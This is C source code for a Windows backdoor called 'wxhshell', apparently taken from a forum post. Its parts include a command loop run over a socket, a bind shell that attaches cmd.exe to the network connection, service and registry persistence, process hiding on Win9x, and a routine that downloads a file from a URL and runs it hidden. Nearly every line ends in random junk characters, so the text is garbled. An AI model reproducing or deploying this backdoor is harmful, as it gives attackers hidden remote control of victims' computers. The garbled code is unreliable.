  Ty%4#9``0  
  // 帮助 /LhAQpUQT5  
  case '?': { )!MeSWGq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JJ56d)37.  
    break; DLE|ctzj[7  
  } "}D uAs  
  // 安装 =mCUuY#  
  case 'i': { 0CY_nn#3  
    if(Install()) VL"ZC:n)-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); } oJ+2OepN  
    else _,b%t1v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'DF3|A],  
    break; f(DGC2R <  
    } 1rC8] M.N  
  // 卸载 oUZwZ_yKW  
  case 'r': { TJ`E/=J!  
    if(Uninstall()) r6]r+!63"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2uw%0r3Vi6  
    else C 0*k@kGy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Ua*}C   
    break; qB@]$  
    } {Cs~5jYz  
  // 显示 wxhshell 所在路径 uW4G!Kw28  
  case 'p': { iAf, :g  
    char svExeFile[MAX_PATH];  yyk[oH-Q  
    strcpy(svExeFile,"\n\r"); N!;Y;<Ro_  
      strcat(svExeFile,ExeFile); <PW*vo9v  
        send(wsh,svExeFile,strlen(svExeFile),0); x{~-YzWho  
    break; +n9&q#ah  
    }  AO;+XP=  
  // 重启 *%ZfE,bu8<  
  case 'b': { i[d-n/)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s;}';#  
    if(Boot(REBOOT)) '. atbl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dz5bW>  
    else { +Qu~UK\   
    closesocket(wsh); $a\q<fN}  
    ExitThread(0); OdRXNk:k-j  
    } ;eG%#=>  
    break; S3hJL:3c  
    } xQ1&j,R]  
  // 关机 e@k ti@ZJ  
  case 'd': { 2K, 1wqf'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E(8!VY ^  
    if(Boot(SHUTDOWN)) |\?-k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k4pvp5}%  
    else { +?MjY[8j  
    closesocket(wsh); D8`,PXtV  
    ExitThread(0); 3KB)\nF#%  
    } 5/:Zj,41{  
    break; PKdM-R'Z  
    } 5[I> l  
  // 获取shell I$qL=  
  case 's': { g IX"W;  
    CmdShell(wsh); `mw@"  
    closesocket(wsh); 28X)s!W'  
    ExitThread(0); ?ZlwRjB\  
    break; U <4<8'  
  } 6gakopZO  
  // 退出 xZ`t~4qR  
  case 'x': { 0%F C;v0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8Mws?]\/q  
    CloseIt(wsh); U@f3V8CPy  
    break; J>hl&J  
    } s_`wLQ7e  
  // 离开 nkN]z ^j  
  case 'q': { W'gCFX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y*Ex5N~JC  
    closesocket(wsh); 2Y  6/,W  
    WSACleanup(); n6Q 3X  
    exit(1); !S(jT?'w  
    break; ,Hys9I  
        } \,p)  
  } zKfb  
  } %*}JDx#@  
0C3Yina9 *  
  // 提示信息 )E6m}?H5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1grrb&K  
} f_raICO{R  
  } y"@~5e477$  
8{?Oi'-|0  
  return; %K ]u"  
} kP8Ypw&  
i9.5 2  
// shell模块句柄 )%,bog(x  
int CmdShell(SOCKET sock) 4,$x~m`N  
{ d8]6<\g  
STARTUPINFO si; 'Iu$4xo`[  
ZeroMemory(&si,sizeof(si)); l[\[)X3$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zI7-xqZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,3fw"P$  
PROCESS_INFORMATION ProcessInfo; (x.K%QC)  
char cmdline[]="cmd"; aK1|b=gVj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W4>8  
  return 0; `]tXQqD  
} Hk6Dwe[y  
-QZped;?*  
// 自身启动模式 KY|Q#i|pM  
int StartFromService(void) W&bh&KzCW  
{ u1]5qtg"  
typedef struct <7TpC@"/g  
{ 2^ UFP+Yw  
  DWORD ExitStatus; .4-;  
  DWORD PebBaseAddress; "F%cn@l  
  DWORD AffinityMask; 7qzI]  
  DWORD BasePriority; :1.$7W t  
  ULONG UniqueProcessId; W*U\79H  
  ULONG InheritedFromUniqueProcessId; `?Y/:4  
}   PROCESS_BASIC_INFORMATION; X.T.^}=  
eU{=x$o6S  
PROCNTQSIP NtQueryInformationProcess; y@_4OkR@  
{SROg;vA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bR ;H@Fdg?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ze#LX4b I  
{W0]0_mI(  
  HANDLE             hProcess; z),l&7  
  PROCESS_BASIC_INFORMATION pbi; }"xC1<]  
Wb*d`hzQ}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >#0yd7BST  
  if(NULL == hInst ) return 0; @+xkd(RfN  
,VHvQU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -?e~S\JH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KgKV(q=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]qv/+~Qs>  
TH6g:YP`7  
  if (!NtQueryInformationProcess) return 0; {}lw%d?A  
-M[5K/[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g<{~f  
  if(!hProcess) return 0; t0?BU~f  
JBjz2$ZM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !_V*VD  
4Q3Q.(  
  CloseHandle(hProcess); Re.fS6y$>  
6=  9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ui1K66{  
if(hProcess==NULL) return 0; <pPI:D@G  
8vaqj/  
HMODULE hMod; `CHgTkv  
char procName[255]; 1 k H  
unsigned long cbNeeded; ]CHMkuP[k  
 NU_VUd2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  i4Fw+Z  
Hj2P|;2S  
  CloseHandle(hProcess); 7 H<_ wW  
Dy8Go4  
if(strstr(procName,"services")) return 1; // 以服务启动 S liF$}J  
N*o+m~:y  
  return 0; // 注册表启动 ][0HJG{{g  
} sY1*Wo lA  
z2,rnm)Q  
// 主模块 lkl#AH  
int StartWxhshell(LPSTR lpCmdLine) }*0%wP  
{ JXvHsCd?  
  SOCKET wsl; *!nS4 [d  
BOOL val=TRUE; dn`#N^Od  
  int port=0; oXz:zoNQ  
  struct sockaddr_in door; SZyPl9.b  
9Uk9TG5  
  if(wscfg.ws_autoins) Install(); -8TJ~t%w4  
Xv'64Nc!;  
port=atoi(lpCmdLine); n){\KIU/O  
Rhr]ML  
if(port<=0) port=wscfg.ws_port; } RM?gE  
6%fU}si,  
  WSADATA data; B|!YGf L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9N-mIGJ  
3 #jPQ[+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4\-kzGgmo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KL -8Aj~  
  door.sin_family = AF_INET; QMkLAZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Be}Cj(C  
  door.sin_port = htons(port); /S|Pq!4<  
1_<'S34  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lYq R6^  
closesocket(wsl); iaPY>EP1  
return 1; >\VZ9bP<   
} /~AajLxu3W  
&;C|=8eB  
  if(listen(wsl,2) == INVALID_SOCKET) { McA,  
closesocket(wsl); jIuE1ve  
return 1; 'JRkS'ay  
} TNiF l hq  
  Wxhshell(wsl); |n* I}w^  
  WSACleanup(); iUSs)[]H>  
|ukEnjI`u  
return 0; Ak|j J  
!QC->  
} QvqX3FU  
/A{znE  
// 以NT服务方式启动 ]Ub?Wo7F?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) = "Dmfy7  
{ CQ13fu +|6  
DWORD   status = 0; ~EdmVEu  
  DWORD   specificError = 0xfffffff; "rkP@ja9n  
:@kSDy+*Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Soq 'B?>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /SP^fB*y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o3%Gc/6%  
  serviceStatus.dwWin32ExitCode     = 0; vE&  
  serviceStatus.dwServiceSpecificExitCode = 0; .!=2#<  
  serviceStatus.dwCheckPoint       = 0; z`{Ld9W  
  serviceStatus.dwWaitHint       = 0; wYNh0QlBH  
?2DYz"/')  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &K|CH? D  
  if (hServiceStatusHandle==0) return; uvZ|6cM  
u'P@3'P  
status = GetLastError(); h.G/HHz  
  if (status!=NO_ERROR) 8'/vW~f  
{ %'@&j2j>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _[IN9ZC2G  
    serviceStatus.dwCheckPoint       = 0; >5)$Qtz#  
    serviceStatus.dwWaitHint       = 0; M(SH3~  
    serviceStatus.dwWin32ExitCode     = status; F8/4PB8-  
    serviceStatus.dwServiceSpecificExitCode = specificError; eV}Ow`~I5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i!sKL%z}  
    return; q=g;TAXZl  
  } >L5[dkg%  
-:>Mi5/ s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |Y2u=B  
  serviceStatus.dwCheckPoint       = 0; i>>_S&!9p  
  serviceStatus.dwWaitHint       = 0; lYD-U8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B-'Xk{  
} O`Nzn~),x  
qp'HRh@P2:  
// 处理NT服务事件,比如:启动、停止 m[(2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rS8/_'  
{ Y|>y]x  
switch(fdwControl) E*j)gj9  
{ 4GeWo@8h  
case SERVICE_CONTROL_STOP: B]0`b1t  
  serviceStatus.dwWin32ExitCode = 0; SU Hyg/|F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,7z.%g3+z  
  serviceStatus.dwCheckPoint   = 0; ?neXs-'-p  
  serviceStatus.dwWaitHint     = 0; ^JJ*pT:  
  { -05#/-Z=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S 0,p:Wey  
  } p.gi8%f`  
  return; :a nUr<  
case SERVICE_CONTROL_PAUSE: 68W&qzw.[r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )lBke*j~  
  break; M7BJ$fA0E  
case SERVICE_CONTROL_CONTINUE: N'=8Dj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UuzT*Y>  
  break; nsuK{8}@  
case SERVICE_CONTROL_INTERROGATE: o.* 8$$  
  break; }p]8'($  
}; <TC\Nb$~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \l"1Io=  
} x?y)a9&Hm  
-5\hZ!!J2  
// 标准应用程序主函数 CcG{+-= H)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pmv;M`_|R  
{ ~bf-uHx  
-}AAA*P  
// 获取操作系统版本 XcAx@CY9c  
OsIsNt=GetOsVer(); BRi\&&<4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -M/DOTc  
4l<%Q2  
  // 从命令行安装 B>AmH%f/  
  if(strpbrk(lpCmdLine,"iI")) Install(); /2Y t\=S=  
" ;8H;U`  
  // 下载执行文件  <]2X~+v  
if(wscfg.ws_downexe) { %scSp&X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?suxoP%  
  WinExec(wscfg.ws_filenam,SW_HIDE); d %1j4JE{  
} om@GH0o+  
]DHB'NOh,  
if(!OsIsNt) { S%uwQ!=O8  
// 如果时win9x,隐藏进程并且设置为注册表启动 R7+3$F5B  
HideProc(); VJ8cls<  
StartWxhshell(lpCmdLine); :D|"hJ  
} Oi+9kk e  
else VEj-%"\   
  if(StartFromService()) ue"?n2  
  // 以服务方式启动 yU<T_&M  
  StartServiceCtrlDispatcher(DispatchTable); ,UNCBnv1  
else !VBl/ aU@  
  // 普通方式启动 `@!4#3H  
  StartWxhshell(lpCmdLine); l|TiUjs  
>NwS0j$j@  
return 0; Gi]R8?M  
}
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只看该作者 1 发表于: 2006-10-10
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